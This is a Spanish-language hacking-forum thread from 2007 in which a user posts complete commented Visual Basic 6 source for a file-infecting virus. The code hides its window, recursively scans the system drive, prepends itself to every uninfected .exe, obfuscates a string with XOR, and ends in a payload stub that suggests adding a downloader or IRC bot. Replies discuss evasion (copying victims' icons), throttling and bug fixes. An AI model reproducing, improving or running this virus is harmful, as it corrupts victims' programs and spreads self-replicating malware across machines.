[Source] Infección de ejecutables en VB6

Iniciado por Mad Antrax, 4 Abril 2007, 23:02 PM

0 Miembros y 1 Visitante están viendo este tema.

Mad Antrax

Infección de Ejecutables en Visual Basic 6.0

Bueno, ya he finalizado el proyecto, lo he testeado en una máquina virtual y funciona a la perfección :P Os dejo el código comentado, tambien os dejo una versión compilada del proyecto y un ZIP con el source :)

Como funciona?

1- El programa principal busca por el disco duro todos los archivos con extension *.exe
2- Cuando encuentra uno, crea una copia del virus con el siguiente formato: [VIRUS]+Marca+[HUESPED]
3- Cuando se ejecuta un archivo infectado, el virus busca la Marca para separar el [VIRUS] del [HUESPED] y ejecutarlos de forma separada



Form1.frm
Código (vb) [Seleccionar]

Private Sub Form_Load()
    App.TaskVisible = False
    If App.PrevInstance = True Then End
    SelfCheck
End Sub


InfectModule.bas
Código (vb) [Seleccionar]


Function SelfCheck()
    On Error Resume Next
    Dim MyCode As String
   
    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
        MyCode = Input(LOF(1), 1)
    Close #1
   
    'Separa "MyCode" buscando la marca de infección (**X**)
    Buffer = Split(MyCode, "(**X**)")
   
    If UBound(Buffer) = 1 Then
        'Si existe la marca: Llama la funcion "DivideFiles" con el argumento del código del Huésped
        Hostage = Buffer(1)
        DivideFiles Hostage
    Else
        'Si NO existe la marca: Llama la funcion "Subfolders" con el argumento de unidad del Sistema (C:\)
        Subfolders (Environ("SystemDrive") & "\")
        DoEvents
        End
    End If
End Function

Function DivideFiles(ByVal Hostage As String)
    Randomize
    On Error Resume Next
    Dim TmpFile As String
   
    'Crea un archivo temporal con el código del Huésped, por ejemplo:
    'C:\DOCUME~1\USER\CONFIG~1\Temp\85061.exe
    TmpFile = Environ("TMP") & "\" & Int((Rnd * 99999) + 1) & ".exe"
   
    Open TmpFile For Binary As #1
        Put #1, , Hostage
    Close #1
   
    DoEvents
    'Ejecuta el archivo temporal (el Huésped) y llama al "PayLoad" del virus
    Shell TmpFile, vbNormalFocus
    Call ExecPayload
End Function

Function InfectFile(ByVal Victim As String)
    On Error Resume Next
    Dim VictimCode As String
    Dim NewCode As String
    Dim MyCode As String
   
    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
        MyCode = Input(LOF(1), 1)
    Close #1
   
    'Abre el archivo Huésped, lee su código y lo guarda en "VictimCode"
    Open Victim For Binary As #1
        VictimCode = Input(LOF(1), 1)
    Close #1
   
    'Crea la variable "NewCode" donde se guarda: MyCode + (**X**) + VictimCode
    NewCode = MyCode & "(**X**)" & VictimCode
   
    'Sobrescribe el archivo Huésed con el infectado
    Open Victim For Binary As #1
        Put #1, , NewCode
    Close #1
End Function

Function IsInfected(ByVal File As String) As Boolean
    On Error Resume Next
    Dim FileCode As String
       
    'Abre el archivo "File", lee su codigo y lo guarda en "FileCode"
    Open File For Binary As #1
        FileCode = Input(LOF(1), 1)
    Close #1

    'Separa "FileCode" buscando la marca de infección (**X**)
    Buffer = Split(FileCode, "(**X**)")
   
    'Devuleve "True" o "False" si ha encontrado la marca (**X**)
    If UBound(Buffer) <> 0 Then
        IsInfected = True
    Else
        IsInfected = False
    End If
End Function

Function Subfolders(path)
    On Error Resume Next
    'Se cifra el string que carga el objeto Scripting.FileSystemObject
    Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
    Set Drives = fso.Drives

    newpath = path
    Set Fold = fso.GetFolder(newpath)
    Set Files = Fold.Files
   
    For Each File In Files
        ext = fso.GetExtensionName(File.path)
        ext = LCase(ext)
        nam = LCase(File.Name)
        If (ext = "exe") Then
            If IsInfected(File.path) = False Then
                InfectFile (File.path)
                DoEvents
            End If
        End If
    Next
   
    Set File = Fold.Subfolders
    For Each Subfol In File
        Call Subfolders(Subfol.path)
    Next
End Function

Function ExecPayload()
    '#######################################################
    '##  Si quieres que los archivos infectados ejecuten  ##
    '##  la función de buscar e infectar nuevos archivos  ##
    '##  elimina los comentario que hay a continuación    ##
    '#######################################################
   
    'Subfolders (Environ("SystemDrive") & "\")
    'DoEvents
   
    MsgBox "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"
    End
End Function


Encryption.bas
Código (vb) [Seleccionar]

Function bullet(FullCode)
    'Funcion que cifra Strings con el operador XOR
   
    For i = 1 To Len(FullCode)
        Current = Mid(FullCode, i, 1)
        Code = Chr(Asc(Current) Xor 2)
        bullet = bullet + Code
    Next
End Function





Adjunto el código fuente del proyecto. OJO no el código compilado en vuestra maquina, porque infectaria vuestros archivos xD

Ir con cuidado, Saludos!!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

Mad Antrax

Esté código lo programé enterito para el Laboratorio del foro, pedí si podía sacar el código fuera y aquí lo teneis, de pueden mejorar algunas cosillas, vosotros mismos...

Saludos!!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

Hendrix

Yo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio, ya que de tu manera, el icono siempre sera el de TU programa, es decir, el del VB, esto canta mucho, si alguien se mete a buscar algo en su HD y se encuentra con los ejecutables todos con el mismo icono del VB...XDDD

Lo dicho, si logro terminarlo lo posteare, ya que no voy a usar al codigo...

Salu2

PD: esto no estaba ya explicado por WarGhost en un papper??? :-\ :-\
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

Mad Antrax

Cita de: Hendrix. en  4 Abril 2007, 23:19 PM
ya que de tu manera, el icono siempre sera el de TU programa, es decir, el del VB, esto canta mucho, si alguien se mete a buscar algo en su HD y se encuentra con los ejecutables todos con el mismo icono del VB...XDDD
Exacto, pero eso tiene facil solución... antes de infectar el archivo hay que leer su icono y escribirlo a nuestro código vírico, en mis pruebas con una máquina virtual funciona de maravilla, solo tienes que añadir el módulo de IconChanger.bas que ya postee aqui.

Saludos!!

Cita de: Hendrix. en  4 Abril 2007, 23:19 PM
PD: esto no estaba ya explicado por WarGhost en un papper??? :-\ :-\

Mi código es del 29 Junio 2006, desconozco si WarGhost lo hizo antes o después.

Saludos!!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

Hendrix

Ok...lo del icono me extraño, ya que canta mucho, y como no posteaste el modulo del icono pues crei que no lo cambiabas... ;) ;)

Un Saludo.  ;)
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

nhaalclkiemr

Muy bueno, lo provaré  :xD (En Virtual PC claro esta) ;D ;D

¿Y que habría que modificar en el codigo para que infectase solo a un .exe determinado? No a todos

Y una cosa, esto es una aplicacion o el codigo se lo añadimos por ejemplo a un archivo que tengamos nosotros??

Muy buenos todos tus trabajos
Un saludo ;) ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

byebye

CitarYo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio

eso no va a funcionar.

1º si es en vb olvidate, si aun asi logras escribir alguna rutina que sirva de algo en otros pcs lo tiene crudo ya que si infectas (lo que es una verdadera infeccion) el codigo se escribe de forma distinta a la "normal" no se puede llamar a las funciones tal cual, por ejemplo:

MessageBoxA(..................) <---- Esto no funciona a la hora de una infeccion

2º si infectas un ejecutable no tienes que poner tu entrypoint, dependiendo el metodo de infeccion calcularas de una forma o de otra el inicio de tu codigo en el archivo infectado, ese sera tu entrypoint ahora ya que en una infeccion te "desprendes" de tu cabecera.

3º es aconsejable dejar todos los registros y flags como estaban antes de devolver el control al programa original en vb veo esto poco factible.

todo esto suponiendo que quieras hacerlo en vb.

nhaalclkiemr

Lo prové y algunos fallos:

-Durante la infeccion consume todos los recursos del sistema, en mi Virtual PC me apareció al advertencia "Minimo de memoria virtual" y tengo establecidos 512MB de RAM. Aunke tarde un poko mas debería actuar en segundo plano...pues puede que la victima desconfie o simlemente se le bloquee y reinicie...

-Una vez infectada la victima, las aplicaciones no se ejecutan con parametros, es decir, si abres un documento de texto Windows por defecto ejecuta "notepad.exe %1" pues si esta infectado solo se ejecutará "notepad.exe". Es decir, al abrir un archivo de texto simplemente se abrira el block de notas pero no abrira el archivo seleccionado...lo mismo pasa con archivos  de musica y tal...

Otro ejemplo, si escribes en ejecuta "cmd.exe /C "tasklist" en verdad te ejecutara "cmd.exe" simplemente se abrira la consola sin hacer nada mas...

Otro ejemplo, si dentro de la consola escribes cualquier comando como por ejemplo "taskkill /F /IM proceso.exe" simplemente te ejecutará "taskkill" por lo que en la ventana te aparecerá la ayuda de taskkill (que es lo que este responde cuando lo ejecutas sin parametros)

Por esto mismo los .bat tambien quedan inservibles

En resumen, los .exe infectados omiten cualquier parametro en su ejecucion...


Por el resto todo bien, aun no lo prové demasiado, de momento esos fueron los dos errores mas salientables...

Buen trabajo
Un saludo ;) ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

Mad Antrax

En mi máquina virtual el virus no consume tantos recursos, pero eso es tan facil como poner un sleep cada 100 archivos y solucionado.

El tema de los parametros ya era consciente, se puede solucionar de forma sencilla con una función más que recoja los parametros y se los envíe a la aplicación infectada

Para terminar, los archivos de system32 (cmd, taskkill, tasklist, etc...) tiene habilitado el SFC de Windows (Sistema de Protección de Archivos), si un virus o similar modifica, sobreescribe o elimina un ejecutable, esté se creará de nuevo pasado unos segundos. Es por eso que no se puede infectar el cmd, explorer, tasklist, etc...

Saludos!!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

Saok Dagon

Hola

bua esta mortal nen

Yo de siempre habia usado otra técnica, pero esta aparte de mas simple veo que es mas efectiva.

Lo unico que no encuentro es lo del IconChanger.bas que dices para mejorarlo.

saludos
www.colgados.net date una pasadita!

Todo el anime, manga, pelis, series...etc